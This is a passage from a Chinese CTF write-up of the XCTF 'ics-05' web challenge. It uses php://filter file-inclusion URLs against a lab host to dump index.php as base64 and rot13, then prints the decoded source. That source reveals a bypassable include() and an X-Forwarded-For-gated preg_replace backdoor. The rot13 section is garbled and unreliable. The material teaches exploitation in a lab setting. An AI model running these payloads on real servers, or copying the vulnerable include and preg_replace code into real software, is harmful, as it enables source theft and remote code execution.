XCTF-攻防世界CTF平台-Web类——17ics-05（php://filter 协议preg_replace函数命令执行）

Posted 2022-11-28 大灬白

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查看题目：

提示：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统，可能和后门程序有关，位置在工控云管理系统的设备维护中心
打开题目地址：

查看页面源代码：

只有设备维护中心的链接点击会跳转到index.php：

显示：数据接口请求异常
再查看index.php的源代码：

在云平台设备维护中心处有一个链接?page=index
点击之后：

它以GET方式提交page变量的值为index，后端index.php处理之后返回index。

传入page=123456，返回123456
所以我们需要构造传入的参数，来读取index.php的代码。
通过变量传参，有可能存在文件包含漏洞读取源码，php搭建的网站则使用php伪协议读取源码：
php://filter 是php中独有的一个协议，可以作为一个中间流来处理其他流，也可以进行任意文件的读取，具有resource（要过滤的数据流）、read（读链筛选的数据流）、write（写链筛选的数据流）等等参数。
php://filter
php://filter 是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

	php://filter 参数
名称	描述
resource=<要过滤的数据流>	这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称，以管道符（
write=<写链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称，以管道符（
<；两个链的筛选列表>	任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

php://filter常用于：
1、利用base64获得源码
2、通过读写编码实行绕过操作
构造传入page的参数：

php://filter/read=convert.base64-encode/resource=index.php

意思是用php://filter协议读取，用base64编码的方式read=convert.base64-encode，来读取index.php的代码resource=index.php。
访问：

http://111.200.241.244:62652/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

这时页面会显示出源文件index.php经过base64编码后的内容：

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=

经过Base64解码：

得到：

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="d.id" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo"  d.id==1 0003 ? 'checked' : '' >
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() 
        var table = layui.table,
            form = layui.form;

        table.render(
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                     type: 'numbers' ,
                      type: 'checkbox' ,
                      field: 'id', title: 'ID', width: 100, unresize: true, sort: true ,
                      field: 'name', title: '设备名', templet: '#nameTpl' ,
                      field: 'area', title: '区域' ,
                      field: 'status', title: '维护状态', minWidth: 120, sort: true ,
                      field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true 
                ]
            ],
            page: true
        );
    );
    </script>
    <script>
    layui.use('element', function() 
        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) 
            //console.log(elem)
            layer.msg(elem.text());
        );
    );
    </script>

<?php

$page = $_GET[page];

if (isset($page)) 



if (ctype_alnum($page)) 
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

else

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) 
                    die();
                

                if (strpos($page, 'ta:text') > 0) 
                    die();
                

                if (strpos($page, 'text') > 0) 
                    die();
                

                if ($page === 'index.php') 
                    die('Ok');
                
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php



//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') 

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) 
        preg_replace($pattern, $replacement, $subject);
    else
        die();
    







?>

</body>

</html>

其他的加密方式也可以，如rot13：

http://111.200.241.244:62652/index.php?page=php://filter/read=string.rot13/resource=index.php

得到源文件index.php经过rot13编码后的内容：

设备维护中心云平台设备维护中心设备列表 ynlhv.hfr(‘gnoyr’, shapgvba() ine gnoyr =
ynlhv.gnoyr, sbez = ynlhv.sbez; gnoyr.eraqre( ryrz: ‘#grfg’, hey:
‘/fbzeguvat.wfba’, pryyZvaJvqgu: 80, pbyf: [ [ glcr: ‘ahzoref’ ,
glcr: ‘purpxobk’ , svryq: ‘vq’, gvgyr: ‘VQ’, jvqgu: 100, haerfvmr:
gehr, fbeg: gehr , svryq: ‘anzr’, gvgyr: ‘设备名’, grzcyrg: ‘#anzrGcy’
, svryq: ‘nern’, gvgyr: ‘区域’ , svryq: ‘fgnghf’, gvgyr: ‘维护状态’,
zvaJvqgu: 120, fbeg: gehr , svryq: ‘purpx’, gvgyr: ‘设备开关’, jvqgu:
85, grzcyrg: ‘#fjvgpuGcy’, haerfvmr: gehr ] ], cntr: gehr ); );
ynlhv.hfr(‘ryrzrag’, shapgvba() ine ryrzrag = ynlhv.ryrzrag;
//导航的ubire效果、二级菜单等功能，需要依赖ryrzrag模块 //监听导航点击 ryrzrag.ba(‘ani(qrzb)’,
shapgvba(ryrz) //pbafbyr.ybt(ryrz) ynlre.zft(ryrz.grkg()); ); );
0) qvr(); vs (fgecbf( $c n t r,^{'} g n : g r k g^{'}) > 0) q v r (); v s (f g e c b f ($ cntr, ‘grkg’) > 0) qvr(); vs ( $c n t r = = =^{'} v a q r k . c u c^{'}) q v r (^{'} B x^{'}); v a p y h q r ($ cntr); qvr(); ?> Jrypbzr Zl Nqzva ! "; $cnggrea
= $_TRG[cng]; $ercynprzrag = $_TRG[erc]; $fhowrpg = $_TRG[fho]; vs (vffrg($ cnggrea) && vffrg( $KaTeX parse error: Expected 'EOF', got '&' at position 14: ercynprzrag) &̲& vffrg($ fhowrpg))
cert_ercynpr($cnggrea, $ercynprzrag, $fhowrpg); ryfr qvr(); ?>

将上面的php代码rot13解码http://www.mxcz.net/tools/rot13.aspx:

得到：

layui.use(‘table’, function() var table = layui.table, form =
layui.form; table.render( elem: ‘#test’, url: ‘/somrthing.json’,
cellMinWidth: 80, cols: [ [ type: ‘numbers’ , type: ‘checkbox’ ,
field: ‘id’, title: ‘ID’, width: 100, unresize: true, sort: true ,
field: ‘name’, title: ‘设备名’, templet: ‘#nameTpl’ , field: ‘area’,
title: ‘区域’ , field: ‘status’, title: ‘维护状态’, minWidth: 120, sort:
true , field: ‘check’, title: ‘设备开关’, width: 85, templet:
‘#switchTpl’, unresize: true ] ], page: true ); );
layui.use(‘element’, function() var element = layui.element;
//导航的hover效果、二级菜单等功能，需要依赖element模块 //监听导航点击 element.on(‘nav(demo)’,
function(elem) //console.log(elem) layer.msg(elem.text()); ); );
0) die(); if (strpos( $p a g e,^{'} t a : t e x t^{'}) > 0) d i e (); i f (s t r p o s ($ page, ‘text’) > 0) die(); if ( $p a g e = = =^{'} i n d e x . p h p^{'}) d i e (^{'} O k^{'}); i n c l u d e ($ page); die(); ?> Welcome My Admin ! "; $pattern
= $_GET[pat]; $replacement = $_GET[rep]; $subjec
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